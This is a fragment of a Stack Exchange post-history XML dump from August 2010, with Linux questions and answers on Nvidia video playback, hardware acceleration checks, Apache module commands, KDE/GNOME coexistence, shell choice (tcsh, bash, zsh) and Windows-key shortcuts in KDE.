&quot;Unknown&quot;&#xD;&#xA;        ModelName      &quot;ACI ASUS VH236H&quot;&#xD;&#xA;        HorizSync       30.0 - 85.0&#xD;&#xA;        VertRefresh     55.0 - 75.0&#xD;&#xA;        Option         &quot;DPMS&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;        Identifier     &quot;Device0&quot;&#xD;&#xA;        Driver         &quot;nvidia&quot;&#xD;&#xA;        VendorName     &quot;NVIDIA Corporation&quot;&#xD;&#xA;        BoardName      &quot;GeForce 9800 GTX+&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;        Identifier     &quot;Screen0&quot;&#xD;&#xA;        Device         &quot;Device0&quot;&#xD;&#xA;        Monitor        &quot;Monitor0&quot;&#xD;&#xA;        DefaultDepth    24&#xD;&#xA;        Option         &quot;TwinView&quot; &quot;1&quot;&#xD;&#xA;        Option         &quot;TwinViewXineramaInfoOrder&quot; &quot;DFP-0&quot;&#xD;&#xA;        Option         &quot;metamodes&quot; &quot;DFP-0: nvidia-auto-select +1920+0, DFP-1: nvidia-auto-select +0+0&quot;&#xD;&#xA;        SubSection     &quot;Display&quot;&#xD;&#xA;            Depth       24&#xD;&#xA;        EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1808" PostHistoryTypeId="1" PostId="962" RevisionGUID="b48d52ac-4fa1-41ff-916a-eda1f9efa8a1" CreationDate="2010-08-21T16:34:33.247" UserId="105" Text="How to Fix Choppy Video Playback in Ubuntu?" />
  <row Id="1809" PostHistoryTypeId="3" PostId="962" RevisionGUID="b48d52ac-4fa1-41ff-916a-eda1f9efa8a1" CreationDate="2010-08-21T16:34:33.247" UserId="105" Text="éubuntuàéxorgàédriversà" />
  <row Id="1810" PostHistoryTypeId="2" PostId="963" RevisionGUID="dabfca6a-bd53-42ef-9bf0-6bf23630e13c" CreationDate="2010-08-21T16:36:34.273" UserId="105" Text="How can I verify whether hardware acceleration is available and whether it is enabled for my video card.&#xD;&#xA;&#xD;&#xA;If it makes a difference I am using Ubuntu 10.04." />
  <row Id="1811" PostHistoryTypeId="1" PostId="963" RevisionGUID="dabfca6a-bd53-42ef-9bf0-6bf23630e13c" CreationDate="2010-08-21T16:36:34.273" UserId="105" Text="How to verify hardware acceleration settings on Nvidia GeForce 9800" />
  <row Id="1812" PostHistoryTypeId="3" PostId="963" RevisionGUID="dabfca6a-bd53-42ef-9bf0-6bf23630e13c" CreationDate="2010-08-21T16:36:34.273" UserId="105" Text="éubuntuàédriversàéhardwareà" />
  <row Id="1813" PostHistoryTypeId="2" PostId="964" RevisionGUID="b1decb42-65b3-40e9-b451-6bfe545e7b36" CreationDate="2010-08-21T16:47:43.980" UserId="73" Text="If you don't already have it, install `glxinfo`; in APT it's part of `mesa-utils`:&#xD;&#xA;&#xD;&#xA;    apt-get install mesa-utils&#xD;&#xA;&#xD;&#xA;Run `glxinfo` and look for a line about `direct rendering` (another term for hardware acceleration):&#xD;&#xA;&#xD;&#xA;    &gt; glxinfo | grep &quot;direct rendering&quot;&#xD;&#xA;    direct rendering: Yes&#xD;&#xA;&#xD;&#xA;If it says &quot;Yes&quot;, hardware acceleration is enabled" />
  <row Id="1814" PostHistoryTypeId="2" PostId="965" RevisionGUID="238e8b0b-6b17-4ca2-bef5-0d24bb81ca8e" CreationDate="2010-08-21T17:13:43.923" UserId="105" Text="What are the terminal commands used to enable and disable Apache2 modules?" />
  <row Id="1815" PostHistoryTypeId="1" PostId="965" RevisionGUID="238e8b0b-6b17-4ca2-bef5-0d24bb81ca8e" CreationDate="2010-08-21T17:13:43.923" UserId="105" Text="What commands can I use to enable / disable Apache2 modules?" />
  <row Id="1816" PostHistoryTypeId="3" PostId="965" RevisionGUID="238e8b0b-6b17-4ca2-bef5-0d24bb81ca8e" CreationDate="2010-08-21T17:13:43.923" UserId="105" Text="écommandölineàéapacheà" />
  <row Id="1817" PostHistoryTypeId="2" PostId="966" RevisionGUID="a25a41e5-a906-487a-a853-5217cda9defd" CreationDate="2010-08-21T17:29:35.677" UserId="1040" Text="On debian / ubuntu you need to look at `a2enmod` and `a2dismod`. There are similar tools for toggling site configurations too (`a2ensite` and `a2dissite`)." />
  <row Id="1818" PostHistoryTypeId="2" PostId="967" RevisionGUID="d77b219c-995a-4d0d-b522-0a78251b8ea0" CreationDate="2010-08-21T18:04:45.573" UserId="912" Text="Is it possible to install KDE and Gnome on your machine (using Fedora) in such a way that when you boot, you can specify whether you want to use KDE or Gnome.&#xD;&#xA;&#xD;&#xA;Even better would be if you can switch between the two without having to reboot. I think it should be possible. How can I do this?" />
  <row Id="1819" PostHistoryTypeId="1" PostId="967" RevisionGUID="d77b219c-995a-4d0d-b522-0a78251b8ea0" CreationDate="2010-08-21T18:04:45.573" UserId="912" Text="Is is possible to use KDE as well as Gnome on a machine?" />
  <row Id="1820" PostHistoryTypeId="3" PostId="967" RevisionGUID="d77b219c-995a-4d0d-b522-0a78251b8ea0" CreationDate="2010-08-21T18:04:45.573" UserId="912" Text="élinuxàéunixàégnomeàékdeà" />
  <row Id="1821" PostHistoryTypeId="2" PostId="968" RevisionGUID="d409ffc3-0354-4f34-915b-f7d1e6af31f5" CreationDate="2010-08-21T18:22:30.280" UserId="481" Text="It's perfectly possible. Just install both KDE and Gnome using your package manager. You will then be able to choose which desktop you want in the login screen using the &quot;Sessions&quot; menu." />
  <row Id="1822" PostHistoryTypeId="2" PostId="969" RevisionGUID="f474ae60-ed2b-421b-a53f-4f0e16236956" CreationDate="2010-08-21T18:24:05.193" UserId="912" Text="I have been using `tsch` for a long time now. But whenever I am searching for something, I often find that the methods specified are `bash` specific. Even the syntax for the shell scripts is different for the two.&#xD;&#xA;&#xD;&#xA;From what I have experienced searching and learning on the internet, `bash` seems to be the more common shell used. Even the number of questions on this site tagged `bash` are way more (five more currently) than the number of questions tagged `tcsh`.&#xD;&#xA;&#xD;&#xA;So, I am wondering whether I should switch to bash. What do you think? &#xD;&#xA;&#xD;&#xA;**Why should I stick to `tcsh` OR why should I move over to `bash`?**" />
  <row Id="1823" PostHistoryTypeId="1" PostId="969" RevisionGUID="f474ae60-ed2b-421b-a53f-4f0e16236956" CreationDate="2010-08-21T18:24:05.193" UserId="912" Text="Which shell should I use - tsch vs bash?" />
  <row Id="1824" PostHistoryTypeId="3" PostId="969" RevisionGUID="f474ae60-ed2b-421b-a53f-4f0e16236956" CreationDate="2010-08-21T18:24:05.193" UserId="912" Text="élinuxàéshellàébashàéfedoraàétcshà" />
  <row Id="1825" PostHistoryTypeId="16" PostId="969" RevisionGUID="f474ae60-ed2b-421b-a53f-4f0e16236956" CreationDate="2010-08-21T18:24:05.193" UserId="912" />
  <row Id="1826" PostHistoryTypeId="5" PostId="968" RevisionGUID="1918dea8-b35e-4f08-9f0c-eab2b15bd13a" CreationDate="2010-08-21T18:30:37.253" UserId="481" Comment="added 143 characters in body" Text="It's perfectly possible. Just install both KDE and Gnome using your package manager. You will then be able to choose which desktop you want in the login screen using the &quot;Sessions&quot; menu.&#xD;&#xA;&#xD;&#xA;You'll be able to switch between the desktops by logging out and then choosing the other one in the login screen. So no reboot is required." />
  <row Id="1827" PostHistoryTypeId="16" PostId="965" RevisionGUID="81b73494-3a00-450e-b119-9515aa364c6d" CreationDate="2010-08-21T18:32:21.493" UserId="105" />
  <row Id="1828" PostHistoryTypeId="5" PostId="965" RevisionGUID="81b73494-3a00-450e-b119-9515aa364c6d" CreationDate="2010-08-21T18:32:21.493" UserId="105" Comment="made community wiki" Text="What are the terminal commands used to enable and disable Apache2 modules?&#xD;&#xA;&#xD;&#xA;&lt;b&gt;Update:&lt;/b&gt; Since the commands appear to differ based on distribution, I have made this question a community wiki where hopefully each poster can indicate the commands they use along with the pertinent distributions in which they work.&#xD;&#xA;" />
  <row Id="1829" PostHistoryTypeId="5" PostId="969" RevisionGUID="8e74b58f-ea98-474b-8614-90ceb57f3ff4" CreationDate="2010-08-21T18:41:38.650" UserId="224" Comment="edited body; edited title" Text="I have been using `tcsh` for a long time now. But whenever I am searching for something, I often find that the methods specified are `bash` specific. Even the syntax for the shell scripts is different for the two.&#xD;&#xA;&#xD;&#xA;From what I have experienced searching and learning on the internet, `bash` seems to be the more common shell used. Even the number of questions on this site tagged `bash` are way more (five more currently) than the number of questions tagged `tcsh`.&#xD;&#xA;&#xD;&#xA;So, I am wondering whether I should switch to bash. What do you think? &#xD;&#xA;&#xD;&#xA;**Why should I stick to `tcsh` OR why should I move over to `bash`?**" />
  <row Id="1830" PostHistoryTypeId="4" PostId="969" RevisionGUID="8e74b58f-ea98-474b-8614-90ceb57f3ff4" CreationDate="2010-08-21T18:41:38.650" UserId="224" Comment="edited body; edited title" Text="Which shell should I use - tcsh vs bash?" />
  <row Id="1831" PostHistoryTypeId="2" PostId="970" RevisionGUID="78e92234-7bfa-4b07-a744-2ad9e839eda7" CreationDate="2010-08-21T18:54:54.193" UserId="912" Text="I have a Windows keyboard. **How to associate the start menu with the Windows key on the keyboard?**&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/zSmqw.png" />
  <row Id="1832" PostHistoryTypeId="1" PostId="970" RevisionGUID="78e92234-7bfa-4b07-a744-2ad9e839eda7" CreationDate="2010-08-21T18:54:54.193" UserId="912" Text="How to associate the Fedora start menu with the Windows keyboard?" />
  <row Id="1833" PostHistoryTypeId="3" PostId="970" RevisionGUID="78e92234-7bfa-4b07-a744-2ad9e839eda7" CreationDate="2010-08-21T18:54:54.193" UserId="912" Text="élinuxàéfedoraà" />
  <row Id="1834" PostHistoryTypeId="2" PostId="971" RevisionGUID="0dc26290-0571-4c47-9743-e4bc72064968" CreationDate="2010-08-21T19:07:27.367" UserId="160" Text="Actually, you should move over to `zsh`!  It's essentially backward-compatible and it's got all the utility of `bash` with a big huge helping of [awesomeness](http://friedcpu.wordpress.com/2007/07/24/zsh-the-last-shell-youll-ever-need/).  There's even a [book](http://www.bash2zsh.com/) (although I haven't gotten around to reading it).&#xD;&#xA;&#xD;&#xA; I will admit to [one](http://serverfault.com/questions/93388/is-there-any-reason-to-use-bash-over-zsh) reason to not use `zsh` over `bash` but unless you're constantly working at multiple new installations it doesn't really apply.  Especially if you know about the most significant [differences](http://serverfault.com/questions/4993/unique-features-of-bash-compared-to-zsh).  This however is really akin to the differences between `vim` and `vi`; you don't want to be naive but practically it's no big deal.  Even hardcore `vim` users can find their way around `emacs` and vice-versa." />
  <row Id="1835" PostHistoryTypeId="16" PostId="971" RevisionGUID="0dc26290-0571-4c47-9743-e4bc72064968" CreationDate="2010-08-21T19:07:27.367" UserId="-1" />
  <row Id="1836" PostHistoryTypeId="2" PostId="972" RevisionGUID="c18de24a-6429-426a-9a01-d178769e5e98" CreationDate="2010-08-21T19:17:01.920" UserId="160" Text="It looks like you're using KDE so try: &#xD;&#xA;&#xD;&#xA;    Control Centre -&gt; Regional and Accessibility -&gt; Keyboad Shortcuts&#xD;&#xA;&#xD;&#xA;and change the shortcut key in the `Popup Launch Menu` entry from `Alt-F1` to the `Win` key." />
  <row Id="1837" PostHistoryTypeId="2" PostId="973" RevisionGUID="eb4d7ead-a0a3-414a-9ae8-a9450511e317" CreationDate="2010-08-21T20:00:09.007" UserId="786" Text="You can install as many desktop environments as you want, switch between them at the login screen.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    yum groupinstall &quot;KDE Software Compilation&quot;&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&#xD;&#xA;    &#xD;&#xA;    yum groupinstall &quot;GNOME Desktop Environment&quot;&#xD;&#xA;" />
  <row Id="1838" PostHistoryTypeId="6" PostId="970" RevisionGUID="3b751c4e-31fa-4405-a003-2d690d54e254" CreationDate="2010-08-21T20:10:22.777" UserId="29" Comment="edited tags" Text="élinuxàéfedoraàékdeà" />
  <row Id="1839" PostHistoryTypeId="2" PostId="974" RevisionGUID="a4faf9de-5f5c-4c59-ad01-a09930b7e3e5" CreationDate="2010-08-21T20:15:05.623" UserId="614" Text="The compatibility obsessed are missing the point, I think.  If you try to make everything compatible by putting `#!/bin/sh` at the top and using **.sh** extensions, but never test on anything but **bash**, you haven't guaranteed a compatible script!  Better to just use `#!/bin/bash` and **.bash** so that users actually know the real requirement.&#xD;&#xA;&#xD;&#xA;If you know **zsh**, **tcsh**, or something else better than **bash**, and have a good reference manual for it, *don't hold back*.  Just like people expect to install **perl** or **python** to be able to run some scripts, they can handle installing your obscure shell, too!" />
  <row Id="1840" PostHistoryTypeId="16" PostId="974" RevisionGUID="a4faf9de-5f5c-4c59-ad01-a09930b7e3e5" CreationDate="2010-08-21T20:15:05.623" UserId="-1" />
  <row Id="1841" PostHistoryTypeId="5" PostId="974" RevisionGUID="a1640783-08de-41c3-b6d8-e6cf6be8b23b" CreationDate="2010-08-21T20:28:20.730" UserId="614" Comment="added 4 characters in body" Text="The compatibility obsessed are missing the point, I think.  If you try to make everything compatible by putting `#!/bin/sh` at the top and using **.sh** extensions, but never test on anything but **bash**, you haven't guaranteed a compatible script!  Better to just use `#!/bin/bash` and **.bash** so that users actually know the real requirement.&#xD;&#xA;&#xD;&#xA;If you know **zsh**, **tcsh**, or something else better than **bash**, and have a good reference manual for it, *don't hold back*.  Just like people expect to install **perl** or **python** to be able to run some scripts, they can handle installing your obscure shell, too!  :D" />
  <row Id="1842" PostHistoryTypeId="2" PostId="975" RevisionGUID="9feab54f-25a3-4401-bb2f-11f62c093180" CreationDate="2010-08-21T20:34:38.673" UserId="221" Text="zsh probably has a few more similarities to tcsh than bash does. &#xD;&#xA;&#xD;&#xA;See: http://zsh.sourceforge.net/FAQ/zshfaq02.html#l13&#xD;&#xA;&#xD;&#xA;People often claim that zsh can do things bash can't, but I have not found that to be the case. What I _have_ seen is that for zsh it is easier, built in or turned on by default, while in bash it is an addon script, has to be turned on, or is more difficult.&#xD;&#xA;&#xD;&#xA;(disclaimer: I am a bash user that has sometimes considered switching to zsh)" />
  <row Id="1843" PostHistoryTypeId="16" PostId="975" RevisionGUID="9feab54f-25a3-4401-bb2f-11f62c093180" CreationDate="2010-08-21T20:34:38.673" UserId="-1" />
  <row Id="1844" PostHistoryTypeId="2" PostId="976" RevisionGUID="119c4206-6d31-406e-9485-b7cbe51b602a" CreationDate="2010-08-21T20:43:31.353" UserId="614" Text="I would think you could accomplish most of that by writing a bunch of interpreted (or compiled) scripts, then invoking them within the interpreter's shell, which will return or preserve your objects and so on if you want.&#xD;&#xA;&#xD;&#xA;You can do this in at least Ruby, Perl, Python, Haskell (e.g., GHCi), JavaScript (e.g., node.js), Matlab, and certainly other languages..." />
  <row Id="1845" PostHistoryTypeId="2" PostId="977" RevisionGUID="a5c61924-02b3-4808-95d7-08860bb1bead" CreationDate="2010-08-21T21:00:03.443" UserId="221" Text="These days, the console and X can actually work together.&#xD;&#xA;&#xD;&#xA;I don't know if this completely standardized yet, but in Debian Unstable (and presumably other distros with up to date Xorg and console tools), `/etc/default/keyboard` allows you to use X-style syntax to setup the keyboard in the console and in X - at least if you are using console-tools and console-setup. The rest is as clee described." />
  <row Id="1846" PostHistoryTypeId="2" PostId="978" RevisionGUID="88ae6887-2bb9-4986-b6b0-1a373335eaa5" CreationDate="2010-08-21T21:24:19.187" UserId="1002" Text="The reason you have an `xorg.conf` with all those settings is that you use the proprietary `nvidia` driver and the GUI tools that come with it; my Intel &amp; ATI graphics (with open source drivers) don't need any `xorg.conf` settings anymore.&#xD;&#xA;&#xD;&#xA;Now, about the choppiness:&#xD;&#xA;&#xD;&#xA; 1. what sort of video are you trying to play (resolution, codec, ...)?&#xD;&#xA; 2. does mplayer actually use vdpau? (I'm pretty sure it will say that somewhere in the output you get when you start it in a terminal.)&#xD;&#xA; 3. is your PC doing other things at the time you try to play this?&#xD;&#xA; 4. are you playing this from a local drive or over a network? (wired/wireless?)&#xD;&#xA;" />
  <row Id="1847" PostHistoryTypeId="2" PostId="979" RevisionGUID="770c15fe-db4b-4b24-85fc-44e79e94bab1" CreationDate="2010-08-21T21:31:37.310" UserId="93" Text="In KDE 4, the sequence to find the shortcut key is&#xD;&#xA;&#xD;&#xA;&gt; System Settings -&gt; Keyboard and Mouse&#xD;&#xA;&gt; -&gt; Global Keyboard Shortcuts -&gt; Plasma Workspace&#xD;&#xA;&#xD;&#xA;then modify the shortcut key for &quot;Activate Application Launcher Widget&quot;. Additionally, unless you configure the Win key, it acts as a Meta modifier by default, and cannot be used as a shortcut." />
  <row Id="1848" PostHistoryTypeId="5" PostId="979" RevisionGUID="50e5becd-616a-48b2-8de8-b437f2f331d4" CreationDate="2010-08-21T21:42:03.047" UserId="93" Comment="Added xbindkeys installation necessity." Text="In KDE 4, the sequence to find the shortcut key is&#xD;&#xA;&#xD;&#xA;&gt; System Settings -&gt; Keyboard and Mouse&#xD;&#xA;&gt; -&gt; Global Keyboard Shortcuts -&gt; Plasma Workspace&#xD;&#xA;&#xD;&#xA;then modify the shortcut key for &quot;Activate Application Launcher Widget&quot;. An alternative way to get to the shortcut is to simply right-click on the Kickoff menu and choose &quot;Application Launcher Settings&quot;.&#xD;&#xA;&#xD;&#xA;Additionally, unless you configure the Win key, it acts as a Meta modifier by default, and cannot be used as a shortcut. To change this, create a file ~/.xmodmap and put the following in the file:&#xD;&#xA;&#xD;&#xA;&gt; keycode 115 = F14&#xD;&#xA;&#xD;&#xA;This makes your system think the Win key is actually the F14 key. Then, make an executable script and put the script file in the Autostart folder (~/.kde/Autostart), with the following content&#xD;&#xA;&#xD;&#xA;&gt;    #!/bin/bash &lt;br&gt;&#xD;&#xA;&gt;    xbindkeys &amp;&#xD;&#xA;&#xD;&#xA;Either run the script, or logout and login, and you should have the key bind.&#xD;&#xA;&#xD;&#xA;* Note: you may need to install xbindkeys (it's a tiny little application, available via Yum, etc.)." />
  <row Id="1849" PostHistoryTypeId="5" PostId="979" RevisionGUID="2914d401-e0bb-4a32-baeb-f96ae9a186e3" CreationDate="2010-08-21T21:50:16.457" UserId="93" Comment="added keyboard-specific xev suggestion.; deleted 117 characters in body; edited body" Text="In KDE 4, the sequence to find the shortcut key is&#xD;&#xA;&#xD;&#xA;&gt; System Settings -&gt; Keyboard and Mouse&#xD;&#xA;&gt; -&gt; Global Keyboard Shortcuts -&gt; Plasma Workspace&#xD;&#xA;&#xD;&#xA;then modify the shortcut key for &quot;Activate Application Launcher Widget&quot;. An alternative way to get to the shortcut is to simply right-click on the Kickoff menu and choose &quot;Application Launcher Settings&quot;.&#xD;&#xA;&#xD;&#xA;Additionally, unless you configure the Win key, it acts as a Meta modifier by default, and cannot be used as a shortcut. To change this, create a file ~/.xmodmap and put the following in the file:&#xD;&#xA;&#xD;&#xA;&gt; keycode 115 = F14&#xD;&#xA;&#xD;&#xA;This makes your system think the Win key is actually the F14 key. Note: different keyboards sometimes have different key maps for the Win key (i.e. on my Thinkpad, the keycode for the Win key is 133). You can use the application &quot;xev&quot; from the terminal to determine which keycode applies to your keyboard. &#xD;&#xA;&#xD;&#xA;You can modify the file&#xD;&#xA;&gt; /etc/kde/kdm/Xsession&#xD;&#xA;&#xD;&#xA;and add the command&#xD;&#xA;&gt; if [ -f $HOME/.xmodmap ]; then &lt;br&gt;&#xD;&#xA;&gt;    /usr/bin/xmodmap $HOME/.xmodmap &lt;br&gt;&#xD;&#xA;&gt; fi&#xD;&#xA;&#xD;&#xA;to the bottom of the file, which should load your .Xmodmap on startup." />
  <row Id="1851" PostHistoryTypeId="5" PostId="979" RevisionGUID="0834260b-c609-4624-867f-d9a31fdf4bd4" CreationDate="2010-08-21T22:01:17.897" UserId="93" Comment="Clarified Order-of-Operation for the fix." Text="In KDE 4, the sequence to find the shortcut key is&#xD;&#xA;&#xD;&#xA;&gt; System Settings -&gt; Keyboard and Mouse&#xD;&#xA;&gt; -&gt; Global Keyboard Shortcuts -&gt; Plasma Workspace&#xD;&#xA;&#xD;&#xA;then modify the shortcut key for &quot;Activate Application Launcher Widget&quot;. An alternative way to get to the shortcut is to simply right-click on the Kickoff menu and choose &quot;Application Launcher Settings&quot;.&#xD;&#xA;&#xD;&#xA;Additionally, unless you configure the Win key, it acts as a Meta modifier by default, and cannot be used as a shortcut. To change this, create a file ~/.xmodmap and put the following in the file:&#xD;&#xA;&#xD;&#xA;&gt; keycode 115 = F14&#xD;&#xA;&#xD;&#xA;This makes your system think the Win key is actually the F14 key. Note: different keyboards sometimes have different key maps for the Win key (i.e. on my Thinkpad, the keycode for the Win key is 133). You can use the application &quot;xev&quot; from the terminal to determine which keycode applies to your keyboard. &#xD;&#xA;&#xD;&#xA;You can modify the file&#xD;&#xA;&gt; /etc/kde/kdm/Xsession&#xD;&#xA;&#xD;&#xA;and add the command&#xD;&#xA;&gt; if [ -f $HOME/.xmodmap ]; then &lt;br&gt;&#xD;&#xA;&gt;    /usr/bin/xmodmap $HOME/.xmodmap &lt;br&gt;&#xD;&#xA;&gt; fi&#xD;&#xA;&#xD;&#xA;to the bottom of the file, which should load your .Xmodmap on startup.&#xD;&#xA;&#xD;&#xA;* Note: you should do the .xmodmap creation and the Xsession modification and then logout/login (or run &quot;/usr/bin/xmodmap $HOME/.xmodmap&quot;) before attempting to modify the shortcut key." />
  <row Id="1852" PostHistoryTypeId="5" PostId="447" RevisionGUID="e8f2a02c-b94c-4960-8679-9b1f0fa51e69" CreationDate="2010-08-21T22:07:01.717" UserId="29" Comment="give errors" Text="My printscreen button doesn't work (by doesn't work I mean it doesn't launch ksnapshot, xev registers it's events just fine), does anyone have any idea how to fix it? old workarounds don't seem to be working&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;`~/.xsession-errors` has this in it...&#xD;&#xA;&#xD;&#xA;    kded(17569)/kdecore (KLibrary) kde4Factory: The library &quot;/usr/lib/kde4/kded_khotkeys.so&quot; does not offer a qt_plugin_instance function.&#xD;&#xA;    kded(17569)/kdecore (KLibrary) kde3Factory: The library &quot;/usr/lib/kde4/kded_khotkeys.so&quot; does not offer an &quot;init_kded_khotkeys&quot; function.&#xD;&#xA;    kded(17569) Kded::loadModule: Could not load library &quot;kded_khotkeys&quot; . [ &quot;Cannot load library /usr/lib/kde4/kded_khotkeys.so: (/usr/lib/libknewstuff3.so.4: undefined symbol: _ZNK6Attica8Provider17hasContentServiceEv)&quot; ] &#xD;&#xA;    systemsettings(18048)/khotkeys: Unable to start server org.kde.khotkeys (kded module) &#xD;&#xA;    kded(17569)/kdecore (KLibrary) kde4Factory: The library &quot;/usr/lib/kde4/kded_khotkeys.so&quot; does not offer a qt_plugin_instance function.&#xD;&#xA;    kded(17569)/kdecore (KLibrary) kde3Factory: The library &quot;/usr/lib/kde4/kded_khotkeys.so&quot; does not offer an &quot;init_kded_khotkeys&quot; function" />
  <row Id="1853" PostHistoryTypeId="2" PostId="981" RevisionGUID="0da2e046-719a-4e84-94e1-fb3c295d67a1" CreationDate="2010-08-21T22:11:51.587" UserId="29" Text="I figured it out by trying to rebuild *kdelibs* it told me *attica* wasn't installed, turned out it was corrupted. A reinstall fixed the issue." />
  <row Id="1854" PostHistoryTypeId="2" PostId="982" RevisionGUID="390d805e-4c4c-47e3-add7-48136e1658c4" CreationDate="2010-08-21T22:56:45.603" UserId="701" Text="I can't get custom keyboard shortcuts to work, default shortcuts are working properly, but the ones I changed I can only get one of them to work, I'm using the &quot;windows key&quot; to match functionality of Windows 7 for a few keys like maximize window (winkey+up), minimize window (winkey+down), etc; none of them work; for the record **I did the exact same thing in Ubuntu and it worked without any problems.**&#xD;&#xA;&#xD;&#xA;additional info:&#xD;&#xA;I also noticed that gnome-do by default uses a key that I had assigned (winkey+space) and it &quot;wins&quot; (runs gnome-do) over the custom global key I had assigned (show main menu), actually, I can change the key in gnome-do to another that I have in the keyboard shortcuts, and the gnome-do works; this just makes me wonder if there are other applications that are disabling the usage of the &quot;winkey&quot;" />
  <row Id="1855" PostHistoryTypeId="1" PostId="982" RevisionGUID="390d805e-4c4c-47e3-add7-48136e1658c4" CreationDate="2010-08-21T22:56:45.603" UserId="701" Text="OpenSuse custom keyboard shortcuts not working" />
  <row Id="1856" PostHistoryTypeId="3" PostId="982" RevisionGUID="390d805e-4c4c-47e3-add7-48136e1658c4" CreationDate="2010-08-21T22:56:45.603" UserId="701" Text="éopensuseàékeyboardöshortcutsà" />
  <row Id="1857" PostHistoryTypeId="2" PostId="983" RevisionGUID="b009c64d-1ae2-48f2-b65c-86ce0a189e1c" CreationDate="2010-08-21T23:00:38.733" UserId="131" Text="As a Linux user, I've always just used bash because it was the default on every distro I used. People using other Unix systems such as BSD seem to use other shells far more frequently. In the interests of learning a bit more, I've decided to try out zsh. As a bash user, what features will I miss, and what ones should I look out for?" />
  <row Id="1858" PostHistoryTypeId="1" PostId="983" RevisionGUID="b009c64d-1ae2-48f2-b65c-86ce0a189e1c" CreationDate="2010-08-21T23:00:38.733" UserId="131" Text="What features are in zsh and missing from bash, or vice versa?" />
  <row Id="1859" PostHistoryTypeId="3" PostId="983" RevisionGUID="b009c64d-1ae2-48f2-b65c-86ce0a189e1c" CreationDate="2010-08-21T23:00:38.733" UserId="131" Text="ébashàézshà" />
  <row Id="1860" PostHistoryTypeId="6" PostId="982" RevisionGUID="c09277a7-4683-4e30-991a-996b12e21c65" CreationDate="2010-08-21T23:47:00.530" UserId="29" Comment="edited tags" Text="égnomeàékeyboardöshortcutsàéopensuseà" />
  <row Id="1861" PostHistoryTypeId="2" PostId="984" RevisionGUID="c0cac08f-b675-4a1b-804c-5b85aef479fb" CreationDate="2010-08-22T00:04:58.330" UserId="168" Text="`zsh` lets you edit a multi-line command (see [zsh line editor][1]), bash doesn't. If you try the same trick (`Ctrl-p`), bash fetches the last command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cs.elte.hu/zsh-manual/zsh_14.html#SEC45" />
  <row Id="1862" PostHistoryTypeId="5" PostId="982" RevisionGUID="c8031d58-f55a-4895-9f85-75a4863672b5" CreationDate="2010-08-22T00:06:03.477" UserId="701" Comment="added details on additional things I've tried" Text="I can't get custom keyboard shortcuts to work, default shortcuts are working properly, but the ones I changed I can only get one of them to work, I'm using the &quot;windows key&quot; to match functionality of Windows 7 for a few keys like maximize window (winkey+up), minimize window (winkey+down), etc; none of them work; for the record **I did the exact same thing in Ubuntu and it worked without any problems.**&#xD;&#xA;&#xD;&#xA;additional info:&#xD;&#xA;I also noticed that gnome-do by default uses a key that I had assigned (winkey+space) and it &quot;wins&quot; (runs gnome-do) over the custom global key I had assigned (show main menu), actually, I can change the key in gnome-do to another that I have in the keyboard shortcuts, and the gnome-do works; this just makes me wonder if there are other applications that are disabling the usage of the &quot;winkey&quot;&#xD;&#xA;&#xD;&#xA;update: I also tried using gconf-editor apps/metacity, adding the keys there, still no luck, I tried _Windows_ and _Super_ for the WinKey name, neither worked&#xD;&#xA;&#xD;&#xA;In some apps it seems the WinKey is completely ignored, i.e. it performs the action associated to the key without the WinKey, though, like I said before, there's one or two custom WinKey+SomeKey that ARE working (changed them to something else, stopped working, changed it back, worked again)" />
  <row Id="1863" PostHistoryTypeId="2" PostId="985" RevisionGUID="41277104-0609-4d0d-9a75-0c77005a0e98" CreationDate="2010-08-22T01:02:38.463" UserId="885" Text="There's already been quite a bit of activity on the topic on other Stack Exchange sites. My experience of switching from bash to zsh, as far as can remember (it was years ago²), is that I didn't miss a single thing. I gained a lot; here are what I think are the simple zsh-specific features that I use most:&#xD;&#xA;&#xD;&#xA;* &lt;sub&gt;The zsh feature I most miss when I occasionally use bash is autocd: in zsh, executing a directory means changing to it, provided you turn on the `autocd` option.⁴&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;* Another very useful feature is the fancy globbing. The &lt;strike&gt;hieroglyphs&lt;/strike&gt;characters are a bit hard to remember but extremely convenient (as in, it's often faster to look them up than to write the equivalent `find` command). A few of the simpler examples:  &#xD;&#xA;    `foo*~*.bak` = all matches for `foo*` except those matching `*.bak`  &#xD;&#xA;    `foo*(.)` = only regular files matching `foo*`  &#xD;&#xA;    `foo*(/)` = only directories matching `foo*`  &#xD;&#xA;    `foo*(-@)` = only dangling symbolic links matching `foo*`  &#xD;&#xA;    `foo*(om[1,10])` = the 10 most recent files matching `foo*`  &#xD;&#xA;    `foo*(Lm+1)` = only files of size &gt; 1MB  &#xD;&#xA;&lt;sub&gt;    `dir/**/foo*` = `foo*` in the directory `dir` and all its subdirectories, recursively⁴&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;* For fancy renames, the `zmv` builtin can be handy. For example, to copy every file to &lt;code&gt;&lt;em&gt;name&lt;/em&gt;.bak&lt;/code&gt;: zmv -C '(*)(.)' '$1.bak'&#xD;&#xA;&#xD;&#xA;* Both bash and zsh have a decent completion system that needs to be turned on explicitly (`. /etc/bash_completion` or `autoload -U compinit; compinit`). Zsh is much more configurable and generally fancier.&#xD;&#xA;&#xD;&#xA;If you run zsh without a `.zshrc`, it starts an interactive menu that lets you choose configuration options. (Some distributions may disable this; in that case, run `autoload zsh-newuser-install; zsh-newuser-install`.) I recommend enabling the recommended history options, turning on (“new-style”) completion, and turning on the “common shell options” except `beep`. Later, configure more options as you discover them.&#xD;&#xA;&#xD;&#xA;²&lt;sub&gt;At the time programmable completion was zsh's killer feature, but bash acquired it soon after.&lt;/sub&gt;  &#xD;&#xA;⁴&lt;sub&gt;Features that bash aquired only in version 4 (so are still not available on many systems) are in smaller type.&lt;/sub&gt;" />
